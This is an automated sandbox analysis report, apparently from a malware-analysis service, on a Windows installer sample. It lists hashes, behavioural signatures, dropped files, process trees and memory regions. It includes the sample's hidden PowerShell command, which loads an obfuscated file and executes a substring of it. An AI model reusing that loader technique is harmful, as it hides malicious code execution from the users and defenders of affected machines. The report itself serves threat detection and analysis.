Overview
overview
10Static
static
3798354959e...dc.exe
windows7-x64
10798354959e...dc.exe
windows10-2004-x64
8$PLUGINSDI...sh.dll
windows7-x64
3$PLUGINSDI...sh.dll
windows10-2004-x64
3$PLUGINSDI...ge.dll
windows7-x64
1$PLUGINSDI...ge.dll
windows10-2004-x64
1$PLUGINSDI...fo.dll
windows7-x64
3$PLUGINSDI...fo.dll
windows10-2004-x64
3$PLUGINSDI...ec.dll
windows7-x64
3$PLUGINSDI...ec.dll
windows10-2004-x64
3Analysis
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max time kernel
137s -
max time network
107s -
platform
windows10-2004_x64 -
resource
win10v2004-20240611-en -
resource tags
arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system -
submitted
28-06-2024 01:29
Static task
static1
Behavioral task
behavioral1
Sample
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
Resource
win7-20240419-en
Behavioral task
behavioral2
Sample
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
Resource
win10v2004-20240611-en
Behavioral task
behavioral3
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win7-20240221-en
Behavioral task
behavioral4
Sample
$PLUGINSDIR/AdvSplash.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral5
Sample
$PLUGINSDIR/BgImage.dll
Resource
win7-20240508-en
Behavioral task
behavioral6
Sample
$PLUGINSDIR/BgImage.dll
Resource
win10v2004-20240508-en
Behavioral task
behavioral7
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win7-20240508-en
Behavioral task
behavioral8
Sample
$PLUGINSDIR/UserInfo.dll
Resource
win10v2004-20240226-en
Behavioral task
behavioral9
Sample
$PLUGINSDIR/nsExec.dll
Resource
win7-20240611-en
Behavioral task
behavioral10
Sample
$PLUGINSDIR/nsExec.dll
Resource
win10v2004-20240611-en
General
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Target
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe
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Size
639KB
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MD5
0609cbf05b1169cd11a37910df2d74c0
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SHA1
7d2dd3c50535783bd6d2755c3fa9b9f810c12f13
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SHA256
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc
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SHA512
d1874d83b1b1f6765af5806564cd039cdd0ea03d149c58bff9deccc8d7c1587c46e8681ca00c3ec14801bab23a9b984f9fc1e8438608d415571dadc7ab3de576
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SSDEEP
6144:z9KOQS4B4GMSGJpFhaI27ySqUawlTFEHhq9/GtGOzx65MTOjbpUYpVslMDRkQZI:zsB4GOaJ6UrFh/GtGOzQ5MTOjb9pWeA
Malware Config
Signatures
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Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
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Loads dropped DLL 4 IoCs
Processes:
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exepid process 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe -
Drops file in Windows directory 1 IoCs
Processes:
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exedescription ioc process File opened for modification C:\Windows\Fonts\anorakkerne.ini 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Program crash 1 IoCs
Processes:
WerFault.exepid pid_target process target process 3820 2216 WerFault.exe powershell.exe -
Suspicious behavior: EnumeratesProcesses 9 IoCs
Processes:
powershell.exepid process 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe 2216 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2216 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exedescription pid process target process PID 1020 wrote to memory of 2216 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe powershell.exe PID 1020 wrote to memory of 2216 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe powershell.exe PID 1020 wrote to memory of 2216 1020 798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe"C:\Users\Admin\AppData\Local\Temp\798354959e95dc35440eb858765cf22e9e16b7577bba1b637b554aeb27fe86dc.exe"1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" -windowstyle hidden "$Skufflerne=Get-Content 'C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.Hes';$Maalesteder=$Skufflerne.SubString(61079,3);.$Maalesteder($Skufflerne)"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 2216 -s 28563⤵
- Program crash
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 408 -p 2216 -ip 22161⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3ynmnsxg.cot.ps1Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Local\Temp\nsf3BA2.tmp\AdvSplash.dllFilesize
6KB
MD56def2cf3daf850acdc1a3e7340a439c4
SHA195d0d26f60cd5af697502cd5e53a54913ab188fb
SHA2563ec3cf21a99ab0533ec2c451df3b5542733f70b972089d5c321ad7ae3b87d175
SHA51216b1cf4783284d4a1282c569f5c416c713b4b339efcd4d3948bdf7da2194c597bd732d07ba9fabafcab323ba8c8da68845d4435ab9d1916b1810087ee1f5c413
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C:\Users\Admin\AppData\Local\Temp\nsf3BA2.tmp\BgImage.dllFilesize
7KB
MD52bb17d45e5ad92053ce1e500408dd8a9
SHA1f5d3a7ee6e28df532e9ce33976c92ff30a5665e4
SHA25671ce676703dad028e4083e6b960b1ed89885877079d46d5021506eaa6d99db53
SHA512efdcb476b9b9b5691fe6b9cd77ecbe48d50c6683da01fd51c6b428cc262528fb3dcd295abe28718321b2307b0e032fcb599588f1eb00a93fd9e6a1f7b322b41f
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C:\Users\Admin\AppData\Local\Temp\nsf3BA2.tmp\UserInfo.dllFilesize
4KB
MD58ef0e4eb7c89cdd2b552de746f5e2a53
SHA1820f681e7cec409a02b194a487d1c8af1038acf0
SHA25641293b9f6588e0fbdc8fcf2a9bd8e2b244cd5ff038fc13033378da337219c9dc
SHA512a68533e8a19637d0d44219549b24baba0dc4824424842f125600fda3edcafc4bb6bb340d57a00815f262d82373b440d58d6e4e5b2ceb29bb3f6bc4cbde66c3c5
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C:\Users\Admin\AppData\Local\Temp\nsf3BA2.tmp\nsExec.dllFilesize
6KB
MD5c129bc26a26be6f5816a03520bb37833
SHA118100042155f948301701744b131c516bf26ddb8
SHA256d3694fa0503158194129d113fcc1c83177ff5a5f93d898ce0bcfe9ce12f06bf4
SHA512dbe79859c41e00a6e951cee889e7f0de29a712792fb531662285a2d6e384884518c7d5d983894c185b3d31d81213d2477cf4576b0114d352b759fe07a1704e63
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C:\Users\Admin\AppData\Roaming\Odontiasis\Goatishness\Distanceblnderne.HesFilesize
69KB
MD56a771e12b116ad2c03bccf6b01791e0c
SHA19d953184eebf637915aaa68f26781ed444927a9d
SHA25671741f649be6fcc6fda9b6439afa7edee7fb356573a8fc4724e01524b6a4e3dc
SHA512422e522dcd7c46ff3630a645045c1ccba49ad5d577a37d9bb54562c7abaf030bbd62086311a2c950c8a6f4c74e6435d247bd7487152056224e639a5bdec41c5d
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C:\Users\Admin\Pictures\slukningen.lnkFilesize
986B
MD53add387185f34724d251c442138d375e
SHA1409e0369179a9c1c1404f6dd05684ef68a672748
SHA256eaaefd7d4c70650f0ae227b9d0acf0933a34a5028358dd053c0320467f488476
SHA5129db0f79fa1441d7a2887118fe1bfb8368197c48c130746c6c05133af5cf3dada798a95884740c28011fac3dd284b6181ee7402dd599c11d43db264cc32fe0de2
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memory/2216-171-0x0000000005600000-0x0000000005666000-memory.dmpFilesize
408KB
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memory/2216-182-0x0000000005CC0000-0x0000000005CDE000-memory.dmpFilesize
120KB
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memory/2216-169-0x0000000004E30000-0x0000000004E52000-memory.dmpFilesize
136KB
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memory/2216-167-0x0000000073740000-0x0000000073EF0000-memory.dmpFilesize
7.7MB
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memory/2216-170-0x0000000005520000-0x0000000005586000-memory.dmpFilesize
408KB
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memory/2216-166-0x0000000004710000-0x0000000004746000-memory.dmpFilesize
216KB
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memory/2216-181-0x0000000005700000-0x0000000005A54000-memory.dmpFilesize
3.3MB
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memory/2216-168-0x0000000004EF0000-0x0000000005518000-memory.dmpFilesize
6.2MB
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memory/2216-183-0x0000000005E60000-0x0000000005EAC000-memory.dmpFilesize
304KB
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memory/2216-184-0x0000000006CB0000-0x0000000006D46000-memory.dmpFilesize
600KB
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memory/2216-186-0x0000000006230000-0x0000000006252000-memory.dmpFilesize
136KB
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memory/2216-185-0x00000000061E0000-0x00000000061FA000-memory.dmpFilesize
104KB
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memory/2216-187-0x0000000007520000-0x0000000007AC4000-memory.dmpFilesize
5.6MB
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memory/2216-165-0x000000007374E000-0x000000007374F000-memory.dmpFilesize
4KB
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memory/2216-189-0x0000000008150000-0x00000000087CA000-memory.dmpFilesize
6.5MB
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memory/2216-191-0x0000000073740000-0x0000000073EF0000-memory.dmpFilesize
7.7MB